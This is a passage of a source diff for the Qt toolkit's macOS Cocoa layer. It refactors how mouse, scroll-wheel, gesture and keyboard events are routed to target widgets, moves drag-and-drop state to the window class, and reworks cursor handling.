- qt_mac_handleMouseEvent(self, theEvent, QEvent::MouseMove, Qt::NoButton);
+ qt_mac_handleMouseEvent(theEvent, QEvent::MouseMove, Qt::NoButton, qwidget);
}
- (void)otherMouseDragged:(NSEvent *)theEvent
{
- qMacDnDParams()->view = self;
- qMacDnDParams()->theEvent = theEvent;
- qt_mac_handleMouseEvent(self, theEvent, QEvent::MouseMove, Qt::NoButton);
+ qt_mac_handleMouseEvent(theEvent, QEvent::MouseMove, Qt::NoButton, qwidget);
}
- (void)scrollWheel:(NSEvent *)theEvent
@@ -879,21 +545,14 @@ static int qCocoaViewCount = 0;
[currentIManager handleMouseEvent:theEvent];
}
- NSPoint windowPoint = [theEvent locationInWindow];
- NSPoint globalPoint = [[theEvent window] convertBaseToScreen:windowPoint];
- NSPoint localPoint = [self convertPoint:windowPoint fromView:nil];
- QPoint qlocal = QPoint(localPoint.x, localPoint.y);
- QPoint qglobal = QPoint(globalPoint.x, flipYCoordinate(globalPoint.y));
Qt::MouseButtons buttons = QApplication::mouseButtons();
- bool wheelOK = false;
Qt::KeyboardModifiers keyMods = qt_cocoaModifiers2QtModifiers([theEvent modifierFlags]);
- QWidget *widgetToGetMouse = qwidget;
- // if popup is open it should get wheel events if the cursor is over the popup,
- // otherwise the event should be ignored.
- if (QWidget *popup = qAppInstance()->activePopupWidget()) {
- if (!popup->geometry().contains(qglobal))
- return;
- }
+
+ // Find the widget that should receive the event:
+ QPoint qlocal, qglobal;
+ QWidget *widgetToGetMouse = qt_mac_getTargetForMouseEvent(theEvent, QEvent::Wheel, qlocal, qglobal, qwidget, 0);
+ if (!widgetToGetMouse)
+ return;
int deltaX = 0;
int deltaY = 0;
@@ -922,46 +581,30 @@ static int qCocoaViewCount = 0;
}
#ifndef QT_NO_WHEELEVENT
+ // ### Qt 5: Send one QWheelEvent with dx, dy and dz
+
+ if (deltaX != 0 && deltaY != 0)
+ QMacScrollOptimization::initDelayedScroll();
+
if (deltaX != 0) {
QWheelEvent qwe(qlocal, qglobal, deltaX, buttons, keyMods, Qt::Horizontal);
qt_sendSpontaneousEvent(widgetToGetMouse, &qwe);
- wheelOK = qwe.isAccepted();
- if (!wheelOK && QApplicationPrivate::focus_widget
- && QApplicationPrivate::focus_widget != widgetToGetMouse) {
- QWheelEvent qwe2(QApplicationPrivate::focus_widget->mapFromGlobal(qglobal), qglobal,
- deltaX, buttons, keyMods, Qt::Horizontal);
- qt_sendSpontaneousEvent(QApplicationPrivate::focus_widget, &qwe2);
- wheelOK = qwe2.isAccepted();
- }
}
- if (deltaY) {
+ if (deltaY != 0) {
QWheelEvent qwe(qlocal, qglobal, deltaY, buttons, keyMods, Qt::Vertical);
qt_sendSpontaneousEvent(widgetToGetMouse, &qwe);
- wheelOK = qwe.isAccepted();
- if (!wheelOK && QApplicationPrivate::focus_widget
- && QApplicationPrivate::focus_widget != widgetToGetMouse) {
- QWheelEvent qwe2(QApplicationPrivate::focus_widget->mapFromGlobal(qglobal), qglobal,
- deltaY, buttons, keyMods, Qt::Vertical);
- qt_sendSpontaneousEvent(QApplicationPrivate::focus_widget, &qwe2);
- wheelOK = qwe2.isAccepted();
- }
}
- if (deltaZ) {
+ if (deltaZ != 0) {
// Qt doesn't explicitly support wheels with a Z component. In a misguided attempt to
// try to be ahead of the pack, I'm adding this extra value.
QWheelEvent qwe(qlocal, qglobal, deltaZ, buttons, keyMods, (Qt::Orientation)3);
qt_sendSpontaneousEvent(widgetToGetMouse, &qwe);
- wheelOK = qwe.isAccepted();
- if (!wheelOK && QApplicationPrivate::focus_widget
- && QApplicationPrivate::focus_widget != widgetToGetMouse) {
- QWheelEvent qwe2(QApplicationPrivate::focus_widget->mapFromGlobal(qglobal), qglobal,
- deltaZ, buttons, keyMods, (Qt::Orientation)3);
- qt_sendSpontaneousEvent(QApplicationPrivate::focus_widget, &qwe2);
- wheelOK = qwe2.isAccepted();
- }
}
+
+ if (deltaX != 0 && deltaY != 0)
+ QMacScrollOptimization::performDelayedScroll();
#endif //QT_NO_WHEELEVENT
}
@@ -976,35 +619,14 @@ static int qCocoaViewCount = 0;
[super tabletPoint:tabletEvent];
}
-#if MAC_OS_X_VERSION_MAX_ALLOWED >= MAC_OS_X_VERSION_10_6
-- (void)touchesBeganWithEvent:(NSEvent *)event
-{
- bool all = qwidget->testAttribute(Qt::WA_TouchPadAcceptSingleTouchEvents);
- qt_translateRawTouchEvent(qwidget, QTouchEvent::TouchPad, QCocoaTouch::getCurrentTouchPointList(event, all));
-}
-
-- (void)touchesMovedWithEvent:(NSEvent *)event
-{
- bool all = qwidget->testAttribute(Qt::WA_TouchPadAcceptSingleTouchEvents);
- qt_translateRawTouchEvent(qwidget, QTouchEvent::TouchPad, QCocoaTouch::getCurrentTouchPointList(event, all));
-}
-
-- (void)touchesEndedWithEvent:(NSEvent *)event
-{
- bool all = qwidget->testAttribute(Qt::WA_TouchPadAcceptSingleTouchEvents);
- qt_translateRawTouchEvent(qwidget, QTouchEvent::TouchPad, QCocoaTouch::getCurrentTouchPointList(event, all));
-}
-
-- (void)touchesCancelledWithEvent:(NSEvent *)event
-{
- bool all = qwidget->testAttribute(Qt::WA_TouchPadAcceptSingleTouchEvents);
- qt_translateRawTouchEvent(qwidget, QTouchEvent::TouchPad, QCocoaTouch::getCurrentTouchPointList(event, all));
-}
-#endif // MAC_OS_X_VERSION_MAX_ALLOWED >= MAC_OS_X_VERSION_10_6
-
- (void)magnifyWithEvent:(NSEvent *)event
{
- if (!QApplicationPrivate::tryModalHelper(qwidget, 0))
+ QPoint qlocal, qglobal;
+ QWidget *widgetToGetGesture = 0;
+ qt_mac_getTargetForMouseEvent(event, QEvent::Gesture, qlocal, qglobal, qwidget, &widgetToGetGesture);
+ if (!widgetToGetGesture)
+ return;
+ if (!QApplicationPrivate::tryModalHelper(widgetToGetGesture, 0))
return;
#ifndef QT_NO_GESTURES
@@ -1013,13 +635,18 @@ static int qCocoaViewCount = 0;
NSPoint p = [[event window] convertBaseToScreen:[event locationInWindow]];
qNGEvent.position = flipPoint(p).toPoint();
qNGEvent.percentage = [event magnification];
- qt_sendSpontaneousEvent(qwidget, &qNGEvent);
+ qt_sendSpontaneousEvent(widgetToGetGesture, &qNGEvent);
#endif // QT_NO_GESTURES
}
- (void)rotateWithEvent:(NSEvent *)event
{
- if (!QApplicationPrivate::tryModalHelper(qwidget, 0))
+ QPoint qlocal, qglobal;
+ QWidget *widgetToGetGesture = 0;
+ qt_mac_getTargetForMouseEvent(event, QEvent::Gesture, qlocal, qglobal, qwidget, &widgetToGetGesture);
+ if (!widgetToGetGesture)
+ return;
+ if (!QApplicationPrivate::tryModalHelper(widgetToGetGesture, 0))
return;
#ifndef QT_NO_GESTURES
@@ -1028,13 +655,18 @@ static int qCocoaViewCount = 0;
NSPoint p = [[event window] convertBaseToScreen:[event locationInWindow]];
qNGEvent.position = flipPoint(p).toPoint();
qNGEvent.percentage = -[event rotation];
- qt_sendSpontaneousEvent(qwidget, &qNGEvent);
+ qt_sendSpontaneousEvent(widgetToGetGesture, &qNGEvent);
#endif // QT_NO_GESTURES
}
- (void)swipeWithEvent:(NSEvent *)event
{
- if (!QApplicationPrivate::tryModalHelper(qwidget, 0))
+ QPoint qlocal, qglobal;
+ QWidget *widgetToGetGesture = 0;
+ qt_mac_getTargetForMouseEvent(event, QEvent::Gesture, qlocal, qglobal, qwidget, &widgetToGetGesture);
+ if (!widgetToGetGesture)
+ return;
+ if (!QApplicationPrivate::tryModalHelper(widgetToGetGesture, 0))
return;
#ifndef QT_NO_GESTURES
@@ -1050,13 +682,18 @@ static int qCocoaViewCount = 0;
qNGEvent.angle = 90.0f;
else if ([event deltaY] == -1)
qNGEvent.angle = 270.0f;
- qt_sendSpontaneousEvent(qwidget, &qNGEvent);
+ qt_sendSpontaneousEvent(widgetToGetGesture, &qNGEvent);
#endif // QT_NO_GESTURES
}
- (void)beginGestureWithEvent:(NSEvent *)event
{
- if (!QApplicationPrivate::tryModalHelper(qwidget, 0))
+ QPoint qlocal, qglobal;
+ QWidget *widgetToGetGesture = 0;
+ qt_mac_getTargetForMouseEvent(event, QEvent::Gesture, qlocal, qglobal, qwidget, &widgetToGetGesture);
+ if (!widgetToGetGesture)
+ return;
+ if (!QApplicationPrivate::tryModalHelper(widgetToGetGesture, 0))
return;
#ifndef QT_NO_GESTURES
@@ -1064,13 +701,18 @@ static int qCocoaViewCount = 0;
qNGEvent.gestureType = QNativeGestureEvent::GestureBegin;
NSPoint p = [[event window] convertBaseToScreen:[event locationInWindow]];
qNGEvent.position = flipPoint(p).toPoint();
- qt_sendSpontaneousEvent(qwidget, &qNGEvent);
+ qt_sendSpontaneousEvent(widgetToGetGesture, &qNGEvent);
#endif // QT_NO_GESTURES
}
- (void)endGestureWithEvent:(NSEvent *)event
{
- if (!QApplicationPrivate::tryModalHelper(qwidget, 0))
+ QPoint qlocal, qglobal;
+ QWidget *widgetToGetGesture = 0;
+ qt_mac_getTargetForMouseEvent(event, QEvent::Gesture, qlocal, qglobal, qwidget, &widgetToGetGesture);
+ if (!widgetToGetGesture)
+ return;
+ if (!QApplicationPrivate::tryModalHelper(widgetToGetGesture, 0))
return;
#ifndef QT_NO_GESTURES
@@ -1078,9 +720,9 @@ static int qCocoaViewCount = 0;
qNGEvent.gestureType = QNativeGestureEvent::GestureEnd;
NSPoint p = [[event window] convertBaseToScreen:[event locationInWindow]];
qNGEvent.position = flipPoint(p).toPoint();
- qt_sendSpontaneousEvent(qwidget, &qNGEvent);
-#endif // QT_NO_GESTURES
+ qt_sendSpontaneousEvent(widgetToGetGesture, &qNGEvent);
}
+#endif // QT_NO_GESTURES
- (void)frameDidChange:(NSNotification *)note
{
@@ -1123,27 +765,46 @@ static int qCocoaViewCount = 0;
{
if (!qwidget)
return NO;
- // disabled widget shouldn't get focus even if it's a window.
+
+ // Disabled widget shouldn't get focus even if it's a window.
// hence disabled windows will not get any key or mouse events.
if (!qwidget->isEnabled())
return NO;
- // Before accepting the focus for a window, we check that
- // the focusWidget (if any) is not contained in the same window.
- if (qwidget->isWindow() && !qt_widget_private(qwidget)->topData()->embedded
- && (!qApp->focusWidget() || qApp->focusWidget()->window() != qwidget)) {
- return YES; // Always do it, so that windows can accept key press events.
+
+ if (qwidget->isWindow() && !qt_widget_private(qwidget)->topData()->embedded) {
+ QWidget *focusWidget = qApp->focusWidget();
+ if (!focusWidget) {
+ // There is no focus widget, but we still want to receive key events
+ // for shortcut handling etc. So we accept first responer for the
+ // content view as a last resort:
+ return YES;
+ }
+ if (!focusWidget->internalWinId() && focusWidget->nativeParentWidget() == qwidget) {
+ // The current focus widget is alien, and hence, cannot get acceptsFirstResponder
+ // calls. Since the focus widget is a child of qwidget, we let this view say YES:
+ return YES;
+ }
+ if (focusWidget->window() != qwidget) {
+ // The current focus widget is in another window. Since cocoa
+ // suggest that this window should be key now, we accept:
+ return YES;
+ }
}
+
return qwidget->focusPolicy() != Qt::NoFocus;
}
- (BOOL)resignFirstResponder
{
if (!qwidget)
- return NO;
+ return YES;
+
// Seems like the following test only triggers if this
// view is inside a QMacNativeWidget:
- if (qwidget == QApplication::focusWidget())
- qwidget->clearFocus();
+// if (QWidget *fw = QApplication::focusWidget()) {
+// if (qwidget == fw || qwidget == fw->nativeParentWidget())
+// fw->clearFocus();
+// }
return YES;
}
@@ -1172,11 +833,11 @@ static int qCocoaViewCount = 0;
{
Q_UNUSED(anImage);
Q_UNUSED(aPoint);
- qMacDnDParams()->performedAction = operation;
+ macCurrentDnDParameters()->performedAction = operation;
if (QDragManager::self()->object
&& QDragManager::self()->dragPrivate()->executed_action != Qt::ActionMask) {
- qMacDnDParams()->performedAction =
- qt_mac_mapDropAction(QDragManager::self()->dragPrivate()->executed_action);
+ macCurrentDnDParameters()->performedAction =
+ qt_mac_mapDropAction(QDragManager::self()->dragPrivate()->executed_action);
}
}
@@ -1191,51 +852,37 @@ static int qCocoaViewCount = 0;
qwidgetprivate = 0;
}
-- (BOOL)qt_leftButtonIsRightButton
-{
- return leftButtonIsRightButton;
-}
-
-- (void)qt_setLeftButtonIsRightButton:(BOOL)isSwapped
-{
- leftButtonIsRightButton = isSwapped;
-}
-
-+ (DnDParams*)currentMouseEvent
-{
- return qMacDnDParams();
-}
-
- (void)keyDown:(NSEvent *)theEvent
{
- sendKeyEvents = true;
-
- QWidget *widgetToGetKey = qwidget;
+ if (!qwidget)
+ return;
+ QWidget *widgetToGetKey = qt_mac_getTargetForKeyEvent(qwidget);
+ if (!widgetToGetKey)
+ return;
- QWidget *popup = qAppInstance()->activePopupWidget();
- bool sendToPopup = false;
- if (popup && popup != qwidget->window()) {
- widgetToGetKey = popup->focusWidget() ? popup->focusWidget() : popup;
- sendToPopup = true;
- }
+ sendKeyEvents = true;
if (widgetToGetKey->testAttribute(Qt::WA_InputMethodEnabled)
&& !(widgetToGetKey->inputMethodHints() & Qt::ImhDigitsOnly
|| widgetToGetKey->inputMethodHints() & Qt::ImhFormattedNumbersOnly
|| widgetToGetKey->inputMethodHints() & Qt::ImhHiddenText)) {
fromKeyDownEvent = true;
- [qt_mac_nativeview_for(widgetToGetKey) interpretKeyEvents:[NSArray arrayWithObject: theEvent]];
+ [qt_mac_nativeview_for(qwidget) interpretKeyEvents:[NSArray arrayWithObject: theEvent]];
fromKeyDownEvent = false;
}
+
if (sendKeyEvents && !composing) {
- bool keyOK = qt_dispatchKeyEvent(theEvent, widgetToGetKey);
- if (!keyOK && !sendToPopup) {
- // find the first responder that is not created by Qt and forward
- // the event to it (for example if Qt widget is embedded into native).
+ bool keyEventEaten = qt_dispatchKeyEvent(theEvent, widgetToGetKey);
+ if (!keyEventEaten && qwidget) {
+ // The event is not yet eaten, and if Qt is embedded inside a native
+ // cocoa application, send it to first responder not owned by Qt.
+ // The exception is if widgetToGetKey was redirected to a popup.
QWidget *toplevel = qwidget->window();
- if (toplevel && qt_widget_private(toplevel)->topData()->embedded) {
- if (NSResponder *w = [qt_mac_nativeview_for(toplevel) superview])
- [w keyDown:theEvent];
+ if (toplevel == widgetToGetKey->window()) {
+ if (qt_widget_private(toplevel)->topData()->embedded) {
+ if (NSResponder *w = [qt_mac_nativeview_for(toplevel) superview])
+ [w keyDown:theEvent];
+ }
}
}
}
@@ -1245,12 +892,21 @@ static int qCocoaViewCount = 0;
- (void)keyUp:(NSEvent *)theEvent
{
if (sendKeyEvents) {
- bool keyOK = qt_dispatchKeyEvent(theEvent, qwidget);
- if (!keyOK) {
+ QWidget *widgetToGetKey = qt_mac_getTargetForKeyEvent(qwidget);
+ if (!widgetToGetKey)
+ return;
+
+ bool keyEventEaten = qt_dispatchKeyEvent(theEvent, widgetToGetKey);
+ if (!keyEventEaten && qwidget) {
+ // The event is not yet eaten, and if Qt is embedded inside a native
+ // cocoa application, send it to first responder not owned by Qt.
+ // The exception is if widgetToGetKey was redirected to a popup.
QWidget *toplevel = qwidget->window();
- if (toplevel && qt_widget_private(toplevel)->topData()->embedded) {
- if (NSResponder *w = [qt_mac_nativeview_for(toplevel) superview])
- [w keyUp:theEvent];
+ if (toplevel == widgetToGetKey->window()) {
+ if (qt_widget_private(toplevel)->topData()->embedded) {
+ if (NSResponder *w = [qt_mac_nativeview_for(toplevel) superview])
+ [w keyUp:theEvent];
+ }
}
}
}
@@ -1298,13 +954,14 @@ static int qCocoaViewCount = 0;
// When entering characters through Character Viewer or Keyboard Viewer, the text is passed
// through this insertText method. Since we dont receive a keyDown Event in such cases, the
// composing flag will be false.
- if (([aString length] && composing) || !fromKeyDownEvent) {
+ if (([aString length] && composing) || !fromKeyDownEvent) {
// Send the commit string to the widget.
composing = false;
sendKeyEvents = false;
QInputMethodEvent e;
e.setCommitString(commitText);
- qt_sendSpontaneousEvent(qwidget, &e);
+ if (QWidget *widgetToGetKey = qt_mac_getTargetForKeyEvent(qwidget))
+ qt_sendSpontaneousEvent(widgetToGetKey, &e);
} else {
// The key sequence "`q" on a French Keyboard will generate two calls to insertText before
// it returns from interpretKeyEvents. The first call will turn off 'composing' and accept
@@ -1368,8 +1025,11 @@ static int qCocoaViewCount = 0;
0, composingLength, format);
}
*composingText = qtText;
+
QInputMethodEvent e(qtText, attrs);
- qt_sendSpontaneousEvent(qwidget, &e);
+ if (QWidget *widgetToGetKey = qt_mac_getTargetForKeyEvent(qwidget))
+ qt_sendSpontaneousEvent(widgetToGetKey, &e);
+
if (!composingLength)
composing = false;
}
@@ -1379,7 +1039,8 @@ static int qCocoaViewCount = 0;
if (composing) {
QInputMethodEvent e;
e.setCommitString(*composingText);
- qt_sendSpontaneousEvent(qwidget, &e);
+ if (QWidget *widgetToGetKey = qt_mac_getTargetForKeyEvent(qwidget))
+ qt_sendSpontaneousEvent(widgetToGetKey, &e);
}
composingText->clear();
composing = false;
@@ -1452,8 +1113,12 @@ static int qCocoaViewCount = 0;
{
Q_UNUSED(theRange);
// The returned rect is always based on the internal cursor.
- QRect mr(qwidget->inputMethodQuery(Qt::ImMicroFocus).toRect());
- QPoint mp(qwidget->mapToGlobal(QPoint(mr.bottomLeft())));
+ QWidget *widgetToGetKey = qt_mac_getTargetForKeyEvent(qwidget);
+ if (!widgetToGetKey)
+ return NSZeroRect;
+
+ QRect mr(widgetToGetKey->inputMethodQuery(Qt::ImMicroFocus).toRect());
+ QPoint mp(widgetToGetKey->mapToGlobal(QPoint(mr.bottomLeft())));
NSRect rect ;
rect.origin.x = mp.x();
rect.origin.y = flipYCoordinate(mp.y());
@@ -1471,10 +1136,11 @@ static int qCocoaViewCount = 0;
- (NSArray*) validAttributesForMarkedText
{
- if (qwidget == 0)
+ QWidget *widgetToGetKey = qt_mac_getTargetForKeyEvent(qwidget);
+ if (!widgetToGetKey)
return nil;
- if (!qwidget->testAttribute(Qt::WA_InputMethodEnabled))
+ if (!widgetToGetKey->testAttribute(Qt::WA_InputMethodEnabled))
return nil; // Not sure if that's correct, but it's saves a malloc.
// Support only underline color/style.
@@ -1488,7 +1154,7 @@ void QMacInputContext::reset()
{
QWidget *w = QInputContext::focusWidget();
if (w) {
- NSView *view = qt_mac_nativeview_for(w);
+ NSView *view = qt_mac_effectiveview_for(w);
if ([view isKindOfClass:[QT_MANGLE_NAMESPACE(QCocoaView) class]]) {
QMacCocoaAutoReleasePool pool;
QT_MANGLE_NAMESPACE(QCocoaView) *qc = static_cast<QT_MANGLE_NAMESPACE(QCocoaView) *>(view);
@@ -1505,7 +1171,7 @@ bool QMacInputContext::isComposing() const
{
QWidget *w = QInputContext::focusWidget();
if (w) {
- NSView *view = qt_mac_nativeview_for(w);
+ NSView *view = qt_mac_effectiveview_for(w);
if ([view isKindOfClass:[QT_MANGLE_NAMESPACE(QCocoaView) class]]) {
return [static_cast<QT_MANGLE_NAMESPACE(QCocoaView) *>(view) isComposing];
}
@@ -1598,38 +1264,45 @@ Qt::DropAction QDragManager::drag(QDrag *o)
} else {
hotspot = dragPrivate()->hotspot;
}
- // convert the image to NSImage.
+
+ // Convert the image to NSImage:
NSImage *image = (NSImage *)qt_mac_create_nsimage(pix);
[image retain];
- DnDParams dndParams = *[QT_MANGLE_NAMESPACE(QCocoaView) currentMouseEvent];
- // save supported actions
- [dndParams.view setSupportedActions: qt_mac_mapDropActions(dragPrivate()->possible_actions)];
- NSPoint imageLoc = {dndParams.localPoint.x - hotspot.x(),
- dndParams.localPoint.y + pix.height() - hotspot.y()};
+
+ DnDParams *dndParams = macCurrentDnDParameters();
+ QT_MANGLE_NAMESPACE(QCocoaView) *theView = static_cast<QT_MANGLE_NAMESPACE(QCocoaView) *>(dndParams->view);
+
+ // Save supported actions:
+ [theView setSupportedActions: qt_mac_mapDropActions(dragPrivate()->possible_actions)];
+ QPoint pointInView = [theView qt_qwidget]->mapFromGlobal(dndParams->globalPoint);
+ NSPoint imageLoc = {pointInView.x() - hotspot.x(), pointInView.y() + pix.height() - hotspot.y()};
NSSize mouseOffset = {0.0, 0.0};
NSPasteboard *pboard = [NSPasteboard pasteboardWithName:NSDragPboard];
dragPrivate()->executed_action = Qt::ActionMask;
- // do the drag
- [dndParams.view retain];
- [dndParams.view dragImage:image
- at:imageLoc
- offset:mouseOffset
- event:dndParams.theEvent
- pasteboard:pboard
- source:dndParams.view
- slideBack:YES];
- // reset the implicit grab widget when drag ends because we will not
- // receive the mouse release event when DND is active.
+
+ // Execute the drag:
+ [theView retain];
+ [theView dragImage:image
+ at:imageLoc
+ offset:mouseOffset
+ event:dndParams->theEvent
+ pasteboard:pboard
+ source:theView
+ slideBack:YES];
+
+ // Reset the implicit grab widget when drag ends because we will not
+ // receive the mouse release event when DND is active:
qt_button_down = 0;
- [dndParams.view release];
+ [theView release];
[image release];
if (dragPrivate())
dragPrivate()->executed_action = Qt::IgnoreAction;
object = 0;
- Qt::DropAction performedAction(qt_mac_mapNSDragOperation(qMacDnDParams()->performedAction));
- // do post drag processing, if required.
- if(performedAction != Qt::IgnoreAction) {
- // check if the receiver points us to a file location.
+ Qt::DropAction performedAction(qt_mac_mapNSDragOperation(dndParams->performedAction));
+
+ // Do post drag processing, if required.
+ if (performedAction != Qt::IgnoreAction) {
+ // Check if the receiver points us to a file location.
// if so, we need to do the file copy/move ourselves.
QCFType<CFURLRef> pasteLocation = 0;
PasteboardCopyPasteLocation(dragBoard.pasteBoard(), &pasteLocation);
@@ -1646,6 +1319,8 @@ Qt::DropAction QDragManager::drag(QDrag *o)
}
}
}
+
+ // Clean-up:
o->setMimeData(0);
o->deleteLater();
return performedAction;
diff --git a/src/gui/kernel/qcocoaview_mac_p.h b/src/gui/kernel/qcocoaview_mac_p.h
index 8d57f95..cc79b67 100644
--- a/src/gui/kernel/qcocoaview_mac_p.h
+++ b/src/gui/kernel/qcocoaview_mac_p.h
@@ -58,57 +58,30 @@
QT_FORWARD_DECLARE_CLASS(QWidgetPrivate);
QT_FORWARD_DECLARE_CLASS(QWidget);
QT_FORWARD_DECLARE_CLASS(QEvent);
-QT_FORWARD_DECLARE_CLASS(QCocoaDropData);
QT_FORWARD_DECLARE_CLASS(QString);
QT_FORWARD_DECLARE_CLASS(QStringList);
-QT_BEGIN_NAMESPACE
-struct DnDParams
-{
- QT_MANGLE_NAMESPACE(QCocoaView) *view;
- NSEvent *theEvent;
- NSPoint localPoint;
- NSDragOperation performedAction;
- NSPoint activeDragEnterPos;
-};
-
-QT_END_NAMESPACE
-
-QT_FORWARD_DECLARE_STRUCT(DnDParams);
-
Q_GUI_EXPORT
@interface QT_MANGLE_NAMESPACE(QCocoaView) : NSControl <NSTextInput> {
QWidget *qwidget;
QWidgetPrivate *qwidgetprivate;
- bool leftButtonIsRightButton;
- QCocoaDropData *dropData;
NSDragOperation supportedActions;
bool composing;
int composingLength;
bool sendKeyEvents;
bool fromKeyDownEvent;
QString *composingText;
- NSInteger dragEnterSequence;
+ @public int alienTouchCount;
}
- (id)initWithQWidget:(QWidget *)widget widgetPrivate:(QWidgetPrivate *)widgetprivate;
- (void) finishInitWithQWidget:(QWidget *)widget widgetPrivate:(QWidgetPrivate *)widgetprivate;
- (void)frameDidChange:(NSNotification *)note;
-- (NSDragOperation)draggingEntered:(id <NSDraggingInfo>)sender;
-- (NSDragOperation)draggingUpdated:(id < NSDraggingInfo >)sender;
-- (void)draggingExited:(id < NSDraggingInfo >)sender;
-- (BOOL)performDragOperation:(id <NSDraggingInfo>)sender;
-- (void)removeDropData;
-- (void)addDropData:(id <NSDraggingInfo>)sender;
- (void)setSupportedActions:(NSDragOperation)actions;
- (NSDragOperation)draggingSourceOperationMaskForLocal:(BOOL)isLocal;
- (void)draggedImage:(NSImage *)anImage endedAt:(NSPoint)aPoint operation:(NSDragOperation)operation;
- (BOOL)isComposing;
- (QWidget *)qt_qwidget;
- (void) qt_clearQWidget;
-- (BOOL)qt_leftButtonIsRightButton;
-- (void)qt_setLeftButtonIsRightButton:(BOOL)isSwapped;
-- (void)changeDraggingCursor:(NSDragOperation)newOperation;
-+ (DnDParams*)currentMouseEvent;
@end
#endif
diff --git a/src/gui/kernel/qcocoawindow_mac.mm b/src/gui/kernel/qcocoawindow_mac.mm
index 28f09ad..6e5023a 100644
--- a/src/gui/kernel/qcocoawindow_mac.mm
+++ b/src/gui/kernel/qcocoawindow_mac.mm
@@ -47,6 +47,8 @@
#import <private/qt_cocoa_helpers_mac_p.h>
#import <private/qcocoawindowcustomthemeframe_mac_p.h>
#import <private/qcocoaapplication_mac_p.h>
+#import <private/qdnd_p.h>
+#import <private/qmultitouch_mac_p.h>
#include <QtGui/QWidget>
diff --git a/src/gui/kernel/qcocoawindow_mac_p.h b/src/gui/kernel/qcocoawindow_mac_p.h
index 81e0be1..e6b50f5 100644
--- a/src/gui/kernel/qcocoawindow_mac_p.h
+++ b/src/gui/kernel/qcocoawindow_mac_p.h
@@ -50,17 +50,20 @@
// We mean it.
//
+#ifndef QCOCOAWINDOW_MAC_P
+#define QCOCOAWINDOW_MAC_P
+
#ifdef QT_MAC_USE_COCOA
#include "qmacdefines_mac.h"
#import <Cocoa/Cocoa.h>
#include <private/qapplication_p.h>
#include <private/qbackingstore_p.h>
-
enum { QtMacCustomizeWindow = 1 << 21 }; // This will one day be run over by
QT_FORWARD_DECLARE_CLASS(QWidget);
QT_FORWARD_DECLARE_CLASS(QStringList);
+QT_FORWARD_DECLARE_CLASS(QCocoaDropData);
@interface NSWindow (QtCoverForHackWithCategory)
+ (Class)frameViewClassForStyleMask:(NSUInteger)styleMask;
@@ -72,13 +75,16 @@ QT_FORWARD_DECLARE_CLASS(QStringList);
@end
@interface QT_MANGLE_NAMESPACE(QCocoaWindow) : NSWindow {
- bool leftButtonIsRightButton;
QStringList *currentCustomDragTypes;
+ QCocoaDropData *dropData;
+ NSInteger dragEnterSequence;
}
+ (Class)frameViewClassForStyleMask:(NSUInteger)styleMask;
- (void)registerDragTypes;
+- (void)drawRectOriginal:(NSRect)rect;
@end
#endif
+#endif
diff --git a/src/gui/kernel/qcursor.h b/src/gui/kernel/qcursor.h
index d90375da..c993763 100644
--- a/src/gui/kernel/qcursor.h
+++ b/src/gui/kernel/qcursor.h
@@ -77,7 +77,7 @@ class QBitmap;
class QPixmap;
#if defined(Q_WS_MAC)
-void qt_mac_set_cursor(const QCursor *c, const QPoint &p);
+void qt_mac_set_cursor(const QCursor *c);
#endif
#if defined(Q_OS_SYMBIAN)
extern void qt_symbian_show_pointer_sprite();
@@ -141,7 +141,8 @@ private:
QCursorData *d;
#if defined(Q_WS_MAC)
friend void *qt_mac_nsCursorForQCursor(const QCursor &c);
- friend void qt_mac_set_cursor(const QCursor *c, const QPoint &p);
+ friend void qt_mac_set_cursor(const QCursor *c);
+ friend void qt_mac_updateCursorWithWidgetUnderMouse(QWidget *widgetUnderMouse);
#endif
#if defined(Q_OS_SYMBIAN)
friend void qt_symbian_show_pointer_sprite();
diff --git a/src/gui/kernel/qcursor_mac.mm b/src/gui/kernel/qcursor_mac.mm
index 1a82a68..0d57b85 100644
--- a/src/gui/kernel/qcursor_mac.mm
+++ b/src/gui/kernel/qcursor_mac.mm
@@ -50,6 +50,7 @@
#include <AppKit/NSCursor.h>
#include <qpainter.h>
#include <private/qt_cocoa_helpers_mac_p.h>
+#include <private/qapplication_p.h>
QT_BEGIN_NAMESPACE
@@ -60,6 +61,7 @@ extern QCursorData *qt_cursorTable[Qt::LastCursor + 1];
extern OSWindowRef qt_mac_window_for(const QWidget *); //qwidget_mac.cpp
extern GrafPtr qt_mac_qd_context(const QPaintDevice *); //qpaintdevice_mac.cpp
extern bool qt_sendSpontaneousEvent(QObject *, QEvent *); //qapplication_mac.cpp
+extern QPointer<QWidget> qt_button_down; //qapplication_mac.cpp
/*****************************************************************************
Internal QCursorData class
@@ -95,18 +97,19 @@ protected:
}
};
-void *qt_mac_nsCursorForQCursor(const QCursor &c)
+inline void *qt_mac_nsCursorForQCursor(const QCursor &c)
{
c.d->update();
return [[static_cast<NSCursor *>(c.d->curs.cp.nscursor) retain] autorelease];
}
static QCursorData *currentCursor = 0; //current cursor
-void qt_mac_set_cursor(const QCursor *c, const QPoint &)
+
+void qt_mac_set_cursor(const QCursor *c)
{
#ifdef QT_MAC_USE_COCOA
- Q_UNUSED(c);
- return;
+ QMacCocoaAutoReleasePool pool;
+ [static_cast<NSCursor *>(qt_mac_nsCursorForQCursor(*c)) set];
#else
if (!c) {
currentCursor = 0;
@@ -128,35 +131,122 @@ void qt_mac_set_cursor(const QCursor *c, const QPoint &)
c->d->curs.tc.anim->start(c->d->curs.tc.curs);
}
}
+
currentCursor = c->d;
#endif
}
-void qt_mac_update_cursor_at_global_pos(const QPoint &globalPos)
+static QPointer<QWidget> lastWidgetUnderMouse = 0;
+static QPointer<QWidget> lastMouseCursorWidget = 0;
+static bool qt_button_down_on_prev_call = false;
+static QCursor *grabCursor = 0;
+
+void qt_mac_updateCursorWithWidgetUnderMouse(QWidget *widgetUnderMouse)
{
-#ifdef QT_MAC_USE_COCOA
- Q_UNUSED(globalPos);
- return;
-#else
QCursor cursor(Qt::ArrowCursor);
+ if (qt_button_down) {
+ // The widget that is currently pressed
+ // grabs the mouse cursor:
+ widgetUnderMouse = qt_button_down;
+ qt_button_down_on_prev_call = true;
+ } else if (qt_button_down_on_prev_call) {
+ // Grab has been released, so do
+ // a full check:
+ qt_button_down_on_prev_call = false;
+ lastWidgetUnderMouse = 0;
+ lastMouseCursorWidget = 0;
+ }
+
if (QApplication::overrideCursor()) {
cursor = *QApplication::overrideCursor();
- } else {
- for(QWidget *w = QApplication::widgetAt(globalPos); w; w = w->parentWidget()) {
- if(w->testAttribute(Qt::WA_SetCursor)) {
- cursor = w->cursor();
- break;
+ } else if (grabCursor) {
+ cursor = *grabCursor;
+ } else if (widgetUnderMouse) {
